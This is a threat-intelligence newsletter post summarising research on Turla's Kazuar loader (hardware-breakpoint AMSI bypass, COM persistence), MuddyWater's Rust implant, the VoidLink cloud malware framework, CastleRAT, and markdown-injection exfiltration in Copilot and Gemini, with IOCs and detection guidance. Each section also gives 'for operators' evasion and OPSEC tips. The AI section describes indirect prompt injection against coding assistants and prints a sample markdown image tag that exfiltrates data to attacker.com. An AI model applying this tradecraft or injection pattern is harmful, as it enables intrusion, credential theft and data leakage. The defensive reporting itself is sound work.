ZeroDay Field Notes - When Your Build Path Becomes Your Fingerprint

While most folks were easing back into work after the holidays, threat actors were shipping some genuinely interesting offensive tools. This week brought us a Russian APT's loader with hardware-breakpoint AMSI bypass, an Iranian group's Rust implant with hilariously bad OPSEC, a cloud-native Linux framework that makes traditional EDR look quaint, and researchers demonstrating how to weaponize AI safety dialogs for RCE. The common thread? Evasion is evolving faster than detection, and the best tradecraft often hides in plain sight, until someone forgets to scrub their username from the build artifacts.

Turla's Kazuar v3: When Hardware Breakpoints Beat AMSI

R136a1's deep dive into Turla's (aka Pensive Ursa) latest Kazuar loader is a masterclass in modern Windows evasion. The infection chain is a four-stage beauty that starts with a VBScript dropper and ends with in-memory .NET assembly execution, all while sidestepping ETW and AMSI without touching a single byte of ntdll.dll or amsi.dll.

The chain breaks down like this:

1. VBScript dropper: Writes the next-stage components to disk and kicks off execution
2. DLL sideloading: Uses a legitimate, signed HP printer installer (hpbprndi.exe) to load a malicious DLL (hpbprndiLOC.dll)
3. Native loader with patchless bypass: The sideloaded DLL uses hardware breakpoints (Dr0-Dr7 debug registers) and vectored exception handlers to intercept and neuter ETW/AMSI calls without modifying any bytes in memory
4. COM-registered .NET assembly: Registers a malicious .NET assembly via HKCU\Software\Classes\CLSID, then uses dllhost.exe as a surrogate process to execute the final Kazuar modules (KERNEL/WORKER/BRIDGE)

The hardware breakpoint technique is the highlight here. Instead of patching amsi.dll or ntdll.dll (which modern EDR watches like a hawk), the loader sets hardware breakpoints on specific API entry points. When those functions are called, a vectored exception handler catches the debug exception, modifies the return value to indicate success/no threat, and resumes execution. Zero bytes modified. Zero suspicious write operations. Just clever use of CPU debug registers.

The COM persistence mechanism is equally slick--by registering the malicious assembly under HKCU\Software\Classes\CLSID and pointing the InprocServer32 key to the .NET runtime, the malware can execute via dllhost.exe (a signed, trusted Windows binary) without any process injection.

For operators, the tradecraft worth studying:

• Hardware breakpoint AMSI bypass: Sets Dr0-Dr7 registers to trigger exceptions on API calls, then modifies return values via exception handlers--no memory patching required
• COM registration for persistence: User-level COM objects via HKCU don't require admin rights and execute via signed system binaries
• Signed binary abuse: HP printer installer provides a clean execution path for initial DLL load

For defenders, the detection signals:

• Monitor for unexpected HKCU\Software\Classes\CLSID registrations with InprocServer32 values pointing to user-writable paths
• Alert on dllhost.exe spawning CLR activity from user-context COM registrations
• Detect processes setting hardware breakpoints (Dr0-Dr7 usage) via kernel callbacks or ETW telemetry
• Hunt for VBScript execution chains leading to signed binary DLL loads from user directories

ESET independently confirmed that Turla has been deploying Kazuar v3 via Gamaredon-delivered initial access in Ukraine targeting high-value government and military objectives. AlienVault published a full OTX pulse with IOCs, including C2 IP 185.126.255.132 and request paths like /requestor.php.

This is APT tradecraft at its finest: creative use of Windows internals, abuse of legitimate signed binaries, and persistence mechanisms that blend seamlessly with normal system behavior. The hardware breakpoint bypass technique deserves a spot in every red team's playbook.

MuddyWater's RustyWater: When Your Username Is the IOC

We've covered MuddyWater before, but this week brought two separate analyses of their latest Rust-compiled implant, and the OPSEC failures are so beautiful they deserve their own section.

CloudSEK documented a Middle East–focused spearphishing campaign delivering RustyWater (also tracked as Archer RAT/RUSTRIC) via VBA macro Word docs with lures like "Cybersecurity Guidelines." The implant itself is solid: async HTTP C2 using Rust's reqwest and tokio libraries, layered encoding (JSON→Base64→XOR), registry autostart persistence, and process injection into explorer.exe.

But here's where it gets good. Synaptic Systems' analysis of the same samples reveals that the threat actors compiled their Rust binaries without stripping debug symbols. The result? Every sample contains:

• Build path: C:\Users\Jacob\...
• Rust compiler version and commit hash
• Full crate dependency tree with version numbers
• Target triple: x86_64-pc-windows-msvc

The username "Jacob" shows up in multiple samples, providing a consistent pivot point for threat intelligence. I’ll give that it is safe to assume it’s not the actor’s true name, but it makes for a good detection signature. Even better, the specific Rust compiler commit hash and crate versions allow defenders to cluster related samples and track tooling evolution across campaigns.

For operators, this is a reminder that build artifacts matter:

• Strip debug symbols from compiled binaries (strip on Linux, /PDBSTRPATH: on Windows)
• Use generic build paths (/tmp/build, C:\build, etc.) instead of personal directories
• Sanitize compiler version strings and metadata where possible
• Test your binaries with strings and hex editors before deployment

For defenders, the gift keeps giving:

• Search for the username "Jacob" in malware samples and memory dumps
• Cluster samples by Rust compiler commit hash and crate versions
• Monitor for registry Run key writes referencing ProgramData paths with .ini or PE artifacts
• Hunt for explorer.exe process injection patterns (VirtualAllocEx + WriteProcessMemory + SetThreadContext)

ESET's research spans September 2024–March 2025 and confirms MuddyWater's targeting of Israeli critical infrastructure with these Rust-based tools. The actors are evolving from PowerShell to compiled languages for better evasion, but they're leaving breadcrumbs that make attribution trivially easy.

The lesson here is simple: OPSEC isn't just about C2 infrastructure and encryption. It's also about what you leave behind in your binaries. MuddyWater's shift to Rust shows technical sophistication, but the unstripped debug symbols show a gap in operational tradecraft that defenders should absolutely exploit.

VoidLink: A Cloud-Native Malware Framework That Actually Understands Containers

Check Point Research's disclosure of VoidLink is one of the most interesting Linux malware frameworks we've seen in a while. This isn't just "ransomware but for Linux". It's a purpose-built offensive toolkit for cloud and container environments that demonstrates a deep understanding of modern cloud architecture.

VoidLink is modular, with over 30 plugins, three rootkit options (LD_PRELOAD, LKM, eBPF), and multi-protocol C2 (HTTP/HTTPS, WebSocket, DNS, ICMP). The framework is written in Zig, Go, and C, and includes:

Core capabilities:

• In-memory plugin API for dynamic module loading
• Credential harvesting (SSH keys, cloud metadata endpoints, git tokens)
• Container escape helpers and Kubernetes enumeration
• Post-exploitation tooling (lateral movement, secret extraction, anti-forensics)

Evasion mechanisms:

• LD_PRELOAD hooking: Intercepts libc functions to hide files, processes, and network connections
• Kernel module rootkit: Hooks syscalls at kernel level for complete system-level hiding
• eBPF-based hiding: Uses extended Berkeley Packet Filter programs for stealthy monitoring and evasion

Cloud-specific features:

• Instance metadata endpoint abuse (AWS/GCP/Azure/Alibaba/Tencent)
• Container runtime detection and escape techniques
• Kubernetes service account token theft
• Cloud provider credential harvesting

The multi-protocol C2 is particularly clever. VoidLink can beacon over HTTP, upgrade to WebSocket for persistent sessions, use DNS tunneling when egress filtering is tight, and fall back to ICMP if all else fails. It's designed for resilience in restricted network environments.

For operators, VoidLink represents the state of the art for cloud/container targeting:

• eBPF for stealth: Modern kernel-level evasion without the stability risks of traditional LKMs
• Metadata endpoint abuse: Cloud provider instance metadata is a goldmine for credentials and config
• Container-aware tooling: Escape techniques, runtime enumeration, and orchestrator pivoting
• Multi-protocol C2: Adaptive beaconing that adjusts to network constraints

For defenders, the mitigations are cloud-specific:

• Harden instance metadata access (use IMDSv2 on AWS; restrict metadata endpoint access)
• Monitor for unusual LD_PRELOAD usage, unexpected kernel module loads, and suspicious eBPF programs
• Detect covert C2 channels (DNS/ICMP/WebSocket tunneling from unusual processes)
• Enforce least-privilege IAM roles and rotate credentials/API keys frequently
• Deploy Linux-capable EDR/XDR with kernel-level visibility and eBPF monitoring
• Enable kernel module signing and secure boot where possible

Check Point notes that no confirmed in-the-wild infections have been observed yet, which suggests VoidLink is either still in development or being used very selectively. BleepingComputer's coverage and AlienVault OTX's pulse provide additional IOCs (file hashes), but the real value here is understanding the framework's design philosophy.

VoidLink is what modern cloud-native offensive tooling looks like: modular, adaptive, and built from the ground up to operate in containerized, ephemeral environments where traditional persistence mechanisms don't work. If you're securing cloud infrastructure, this framework is your blueprint for what to defend against.

Weaponizing AI Safety: Markdown Injection in Copilot and Gemini

Checkmarx Zero's research on markdown injection in AI coding assistants should make every organization rethink how they handle AI-generated content. The attack surface is simple: when AI agents render markdown in their UI, they execute embedded image tags and links, which can be weaponized for zero-click data exfiltration.

The attack chain:

1. Indirect prompt injection: Attacker-controlled content (GitHub repo, web page, documentation) contains malicious markdown instructions
2. Agent renders content: Copilot Chat or Gemini processes the content and renders it in the UI
3. Zero-click exfiltration: Markdown image tags (![](http://attacker.com/exfil?data=...)triggers HTTP requests automatically when the markdown is rendered, sending data to attacker-controlled servers
4. One-click exfiltration: Reference-style links and other markdown variants bypass simple link-redaction logic and require user click

The research builds on earlier work around EchoLeak in Microsoft 365 Copilot, where similar markdown-based techniques were used to exfiltrate sensitive data from enterprise environments. Cato Networks and Varonis documented how attackers could craft prompts that cause Copilot to fetch external resources, leaking API keys, credentials, and proprietary data.

For operators, this is a novel attack surface with low barriers to entry:

• Indirect prompt injection: Plant malicious instructions in repositories, docs, or web pages that AI agents might ingest
• Zero-click image-based exfiltration: Embed image tags with attacker-controlled URLs to trigger automatic data leakage
• One-click link-based exfiltration: Use reference-style links and obfuscated markdown to bypass simple sanitization

For defenders, the mitigations are multi-layered:

• Implement comprehensive markdown sanitization to strip or block image elements and dangerous link syntaxes before rendering
• Enforce strict Content Security Policy for images and external resources, only allowing vetted first-party domains
• Use dedicated markdown sanitizers that detect and block external image URLs to prevent zero-click exfiltration
• Add runtime monitoring for anomalous outbound requests triggered during markdown rendering
• Apply data loss prevention policies to restrict presence of secrets in AI agent contexts

Microsoft and Google both treated these as "informative findings" rather than vulnerabilities, arguing that indirect prompt injection is an inherent limitation of current AI architectures. That's technically true, but it doesn't change the operational risk: if your developers are using AI coding assistants and pasting proprietary code or credentials into prompts, you have a data leakage problem.

The big takeaway is that AI agents are widening the attack surface in ways we still haven't figured out. Markdown injection is just one way in; there are probably tons more hiding where LLMs, RAG systems, and third-party integrations meet. Treat AI agent security like any other trust boundary: expect bad input, clean it up hard, and keep an eye out for weird behavior.

CastleLoader and CastleRAT: Multi-Stage Malware Meets Account Takeover

Two separate analyses this week documented the CastleLoader ecosystem, and together they paint a picture of a mature, financially motivated operation targeting account takeover (ATO) at scale.

CastleLoader: The Inno Setup → AutoIt → Process Hollowing Chain

ANY.RUN's analysis of CastleLoader breaks down a multi-stage infection chain that uses legitimate installers and scripting languages to deliver a PE-only-in-memory payload:

1. Inno Setup installer: Legitimate Windows installer framework used to package the malicious components
2. AutoIt script: Obfuscated A3X script executes the next stage
3. Process hollowing: Hollows out jsc.exe (Microsoft JScript compiler) and injects the final payload

The payload itself is modular, supporting command execution, file operations, and remote C2. The C2 infrastructure resolves to 94.159.113.32 with a service endpoint at /service, and the malware uses a specific mutex (N3sBJNQKOyBSqzOgQSQVf9) and user-agent string (gM7dczM61ejubNuJljRx) for fingerprinting.

ANY.RUN also released a GitHub-hosted extractor to automate config extraction from captured samples, which is a nice operational assist for defenders.

CastleRAT: When Your RAT Is an ATO Platform

Deception.Pro's operational report documents a December 2025 intrusion where an initial Matanbuchus loader deployed NetSupport, then Remcos, then CastleRAT; a newer RAT variant designed specifically for hands-on-keyboard account takeover operations.

The CastleRAT capabilities include:

• System metadata collection (OS, hostname, network config)
• Keylogging and clipboard capture
• Screenshot capture and webcam access
• Browser credential exfiltration
• Live browser session proxying: The attacker remotely controls the victim's browser to perform financial account takeover in real-time

The campaign's C2 infrastructure uses dead-drop resolvers hosted on Steam Community pages (yes, really), and the malware communicates via RC4-encrypted traffic. The operational model is clear: infect endpoints → steal credentials → use live browser proxying to bypass MFA and perform ATO on financial accounts.

Splunk Threat Research Team corroborated the analysis and released 16 detection rules targeting CastleRAT's TTPs, including DLL sideloading, process injection, and dead-drop resolver usage.

For operators, the tradecraft here is worth emulating:

• Multi-RAT layering: Deploy multiple backdoors (NetSupport, Remcos, CastleRAT) for redundancy and functional diversity
• Dead-drop resolvers: Use public platforms (Steam, GitHub, Pastebin) to host C2 config and avoid domain takedowns
• Live browser proxying: Remote-control victim browsers for real-time ATO and MFA bypass

For defenders, the mitigations span detection and response:

• Hunt for process-hollowing indicators ( jsc.exe + VirtualAllocEx/WriteProcessMemory/SetThreadContext)
• Block C2 IP 94.159.113.32 and monitor for Steam Community dead-drop access from workstations
• Detect DLL sideloading and unexpected rundll32.exe usage with ordinal-based DLL loads
• Monitor for scheduled tasks created to start CastleRAT and UAC bypass attempts via ComputerDefaults.exe
• Alert on browser automation/remote-control events (DevTools Protocol usage, headless browser flags)

The CastleLoader/CastleRAT ecosystem shows that commodity malware is getting more specialized. This isn’t just a random botnet; it’s a targeted ATO platform made for large-scale financial fraud. The multi-stage chains and backup backdoors indicate real operational maturity. Plus, the hands-on-keyboard ATO method proves that even basic RATs can pull off high-value cybercrime when used smartly.

Closing Thoughts: Evasion, Evolution, and the OPSEC Tax

So, what did we learn this week? Well, just like always, offensive tradecraft is moving way faster than defensive tools, but OPSEC screw-ups still count. Turla's hardware breakpoint bypass is top-notch evasion, but it only works if defenders don’t know to check for Dr0-Dr7 usage. VoidLink is a gem of cloud-native design, but it’s only useful if defenders aren’t keeping an eye out for LD_PRELOAD abuse and eBPF programs. And MuddyWater's Rust implants show some serious tech skills, but the unstripped debug symbols ("Jacob") make it super easy to correlate.

The defensive playbook hasn’t really changed: keep an eye out for weird behavior, stick to least privilege, clean up inputs, and check third-party code. But now, execution needs more focus. You can’t just trust a signed binary just 'cause Microsoft sent it or let an AI agent handle markdown just 'cause it’s from a trusted repo. Context is key. Baselines are important. And behavioral detection is way more crucial than signatures.

For operators, the lesson's simple: the best tradecraft blends with legit ops, but OPSEC is a price you gotta pay for every mission. Ditch your debug symbols. Clean up your build paths. Test your binaries before you roll them out. And remember, every artifact you leave behind could be a potential pivot point for defenders. This isn’t OSCP where you’re in a sandbox and can just restart the VM if things go wrong. Unless, of course, it is.

Audit your cloud setup for LD_PRELOAD and eBPF use. Look for hardware breakpoint abuse on your Windows endpoints. Clean up markdown in your AI agents. Also, take some time to search for usernames like "Jacob" in your malware reverse engineering backlog. The threat actors are getting creative, and we need to keep up!

Tune in again next week, same hacker time, same hacker channel!

-- UncleSp1d3r